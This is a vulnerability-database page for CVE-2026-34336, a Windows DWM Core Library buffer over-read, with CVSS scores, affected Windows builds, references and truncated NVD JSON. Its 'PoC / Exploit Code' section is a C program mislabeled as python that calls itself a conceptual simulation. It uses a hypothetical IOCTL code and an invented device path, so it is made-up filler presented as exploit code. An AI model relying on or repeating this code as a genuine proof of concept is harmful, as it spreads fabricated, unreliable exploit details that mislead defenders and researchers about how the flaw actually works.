CVE-2026-34336

Description

Buffer over-read in Windows DWM Core Library allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE

Windows DWM Core Library (具体受影响版本请参考微软安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-34336 (Buffer Over-read)
 * This is a conceptual simulation to trigger the vulnerability.
 * Compile with: gcc poc.c -o poc
 */

#include <windows.h>
#include <stdio.h>

// Hypothetical IOCTL or API interaction to trigger DWM Core Library bug
#define VULNERABLE_IOCTL 0x80002026

int main() {
    HANDLE hDevice;
    DWORD bytesReturned;
    char inBuffer[10];
    char outBuffer[0x1000];
    
    printf("[+] Attempting to trigger CVE-2026-34336...\n");

    // 1. Obtain a handle to the DWM interface (Symbolic)
    hDevice = CreateFileA("\\.\\DWMCoreDevice", 
                          GENERIC_READ, 
                          0, 
                          NULL, 
                          OPEN_EXISTING, 
                          FILE_ATTRIBUTE_NORMAL, 
                          NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device. (This is expected as PoC is conceptual)\n");
        return 1;
    }

    // 2. Prepare input buffer to trigger boundary check failure
    memset(inBuffer, 'A', sizeof(inBuffer));
    
    // 3. Send malicious request
    // The vulnerability occurs when the kernel reads past the input buffer
    // due to improper size validation.
    BOOL result = DeviceIoControl(hDevice, 
                                  VULNERABLE_IOCTL, 
                                  inBuffer, 
                                  sizeof(inBuffer), 
                                  outBuffer, 
                                  sizeof(outBuffer), 
                                  &bytesReturned, 
                                  NULL);

    if (result) {
        printf("[+] IOCTL returned successfully. Check memory dumps for leaked data.\n");
    } else {
        printf("[-] IOCTL failed, but memory inspection might reveal the over-read.\n");
    }

    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34336
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34336
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34336/
[4] VulDB https://vuldb.com/cve/CVE-2026-34336
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34336", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:07.637", "lastModified": "2026-05-14T15:17:43.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer over-read in Windows DWM Core Library allows an authorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "D48FE1A3-FD94-469C-87EA-AA7B4AAC6B86"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "027462CD-8FA3-4C9F-8778-5AB3F4CDB5B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "94017187-8A34-41BB-A49E-0FA6986E8CB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "BB81D249-7566-44B7-914C-A3674CE87AFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "92E25E15-66FF-45E3-A044-88A7CFDEA9DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "0D04D4AA-D1A5-45D4-A27A-F80D3F6171AF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "12B4D343-5326-4CF2-913D-F642C34B458A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "6BB3BCA4-519F-4BAB-B7C7-9E3BBCE5A6AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "65466E7E-0BDC-4ECC-AE5F-2E4B8615D205"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "A722684E-1073-4076-82AE-3235AA1C4C9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.7079", "matchCriteriaId": "D039A905-2FE4-4A10-85BF-175947E6A017"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.7079", "matchCriteriaId": "4904DDBD-B183-4AA2-ABD6-47BAF1A28861"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.8390", "matchCriteriaId": "048AD3CD-DD62-4B62-9302-61779D998B4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.8390", "matchCriteriaId": "3682F4DD-0870-4E39-B75E-649C89BB1E08"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.8390", "matchCriteriaId": "C2C93D38-DFD7-4DE1-95B8-6D73E4A545D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.8390", "matchCriteriaId": "05EB89A0-2ADD-4B67-A644-41FE1DE69E4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.28000.2113", "matchCriteriaId": "D45A5D2F-E058-4033-B184-BAE224FC1CEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.28000.2113", "matchCriteriaId": "5127F350-9271-4B74-84E0-D7E5D2D5640E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "71D026B8-B196-4369-9AB3-5FCA21E8AA36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "C1926806-B15D-4AF1-967A-7ADA71FF74DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", " ... 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